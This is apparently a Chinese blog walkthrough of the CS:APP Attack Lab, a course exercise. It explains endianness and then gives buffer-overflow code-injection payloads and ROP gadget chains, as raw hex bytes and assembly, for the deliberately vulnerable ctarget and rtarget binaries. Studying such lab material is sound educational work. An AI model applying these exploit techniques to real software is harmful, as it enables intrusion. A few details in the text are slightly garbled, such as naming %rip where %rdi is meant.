大小尾端
首先关于这个,我一直没记清楚,所以做个总结:
在裘宗燕翻译的《程序设计实践》里,这对术语并没有翻译为“大端”和小端,而是“高尾端”和“低尾端”,这就好理解了:如果把一个数看成一个字符串,比如11223344看成"11223344",末尾是个’\0’,'11’到’44’个占用一个存储单元,那么它的尾端很显然是44,前面的高还是低就表示尾端放在高地址还是低地址,它在内存中的放法非常直观,如下图:
实验梗概
Attack lab:要求你进行五次攻击。攻击方式是code injection代码注入和Reeturn-oriented programming(ROP),在你做完这个lab,你会收获:
你将知道当程序没有做缓冲区溢出安全时,黑客是如何攻击程序的。
你将知道编译器和操作系统是如何增强程序的健壮性。
你将明白怎么编写更安全的程序
你将明白x86-64构架下,程序是如何使用栈和参数传递。
你将学会GDB和OBJDUMP的用法。
文件列表:
文件 | 用途 |
---|
ctarget | 用来做Code injection攻击的程序 |
rtarget | 用来做ROP攻击的程序 |
cookie.txt | 作为攻击的标识符 |
hex2raw | 用来生成工具字符串 |
level1
第一题是要我们攻击一个叫test的方法,这个方法中有个getbuf方法,要求从getbuf返回时不让它返回到test,而是返回到touch方法。
我们可以发现getbuf是一个输入字符串的方法,那么我们只要将此方法开辟的栈给填满,然后再填上touch方法的地址,那么就能实现跳转到touch的效果了!
所以我们要做两步:
首先确定getbuf方法的缓冲区大小,反汇编gets方法查看:
-
得到此方法的缓冲区为40个字节。
其次我们看下touch方法的地址:
地址是4017c0,那么我们需要输入的字符串就得到了:
前面的40个字节都是假的,随意填,关键在于最后8位,填的时候需要注意按照小端的排列顺序。
然后用hex2raw来生成字节码,成功入侵垃圾代码
参数 (ctarget和rtarget都有)
-q 不发送成绩
-i 从文件中输入
如果你没有使用-q,就会出现
FAILED: Initialization error: Running on an illegal host [localhost.localdomain]
level2
根据题目指示,这一题我们要做的同样是跳转,这次我们跳转的是touch2函数,看下touch2函数长什么样,发现这里需要我们传入一个参数,根据实验说明我们知道这个参数的位置在%rdi。所以我们需要注入一段自己的入侵代码了。
那么如何让程序去执行我们的代码呢?既然我们可以向栈中写入任意内容并且可以设置返回时跳转到的地址,那么我们就可以通过在栈中写入指令,再令从getbuf函数返回的地址为我们栈中指令的首地址,在指令中执行ret进行第二次返回,返回到touch2函数,就可以实现我们的目的。
所以我决定将指令写入到栈地址的最低处,然后在溢出后将地址设置为这个栈地址。我们能完成这个攻击的前提是讲义中已经告诉我们这个具有漏洞的程序在运行时的栈地址是固定的,不会因运行多次而改变,并且这个程序允许执行栈中的代码。
1.写一段代码将参数(也就是每个人的cookie),放入寄存器%rip中,然后将touch2的地址压栈,为的是通过ret返回时可以跳转到ret。
2.然后通过第一题的方式如法炮制利用缓冲区溢出的漏洞将getbuf函数返回到上述的代码起始位置,也就是缓冲区的起始位置执行攻击代码。
我写的汇编,第一个立即数是我的cookie,第二个是touch2的地址:
利用gcc和objdump命令得到机器代码:
然后需要找到缓冲区的实际地址,我们需要gdb在getbuf打断点查看%rsp的值
这里用最新的rsp值即可再次入侵垃圾代码!
level3
该等级同样让我们跳转到touch3函数中,不过touch3函数判断有所不同:
/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval) {
char cbuf[110];
/* Make position of check string unpredictable */
char *s = cbuf + random() % 100;
sprintf(s, "%.8x", val);
return strncmp(sval, s, 9) == 0;
}
void touch3(char *sval) {
vlevel = 3; /* Part of validation protocol */
if (hexmatch(cookie, sval)) {
printf("Touch3!: You called touch3(\"%s\")\n", sval);
validate(3);
} else {
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}
仔细阅读上面的代码,我们需要传入touch3的参数是一个字符串的首地址,这个地址指向的字符串需要与cookie的字符串表示相同。这里cookie的字符串表示是cookie:0x59b997fa的ASCII表示的字符串:35 39 62 39 39 37 66 61 00。
所以我们需要做的是将这串字符串放入栈中,并且将rdi的值置为字符串的首地址,再进行与上步类似的二次返回操作。
这里我们需要好好考虑目标字符串在栈中的位置,下面是最终结果中的栈结构,先放出来便于讲解。
推出结果:
48 c7 c7 90 dc 61 55 48
c7 c4 88 dc 61 55 c3 00
fa 18 40 00 00 00 00 00
35 39 62 39 39 37 66 61
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
结果如下
level4
我们在第二部分中需要解决的同样是第一部分的后两个问题,只不过我们要采取不同的方式来进行攻击。
为什么我们之前采取的代码注入的攻击手段无法在这个程序中起作用呢?这是国因为这个程序对代码注入攻击采取了两种防护方式:
栈随机化,使得程序每次运行时栈的地址都不相同,我们无法得知我们注入的攻击代码的地址,也无法在攻击代码中硬编码栈中的地址。
标记内存中的栈段为不可执行,这意味着注入在栈中的代码无法被程序执行。
尽管这两种手段有效地避免了代码注入攻击,但是我们仍然可以找到方式让程序执行我们想要去执行的指令。
首先,你要想清楚你要干什么。
第一,把%rdi设置为cookie
第二:执行touch2
转换成汇编代码即使:
movq $0x59b997fa,%rdi
pushq $0x4017ec
ret
这是,会发现难点,gadget不可能有movq $0x59b997fa,%rdi,pushq $0x4017ec。那我们只能曲线救国了。
把$0x59b997fa放在栈中,再popq %rdi.。代码有了,那我们就去寻找gadget!
在addval_219中
0x4019ab 58
0x4019ac 90
0x4019ae c3
0x4019a2 48 89 c7
0x4019a5 c3
level5
0x401a06 48 89 e0
0x401a09 c3
0x4019c5 48 89 c7
0x4019c8 90
0x4019c9 c3
0x4019d8 04 37
0x4019da c3
// address is 0x401a06,execute a part of addval_190
movq %rsp,%rax
ret
//address is ox4019d8,execute a part of add_xy
add 0x37,%al
ret
//address is 0x4019c5,execute a part of addval_426
movq %rax,%rdi
ret
==>
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
06 1a 40 00
00 00 00 00
d8 19 40 00
00 00 00 00
c5 19 40 00
00 00 00 00
fa 18 40 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 35
39 62 39 39
37 66 61 00
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)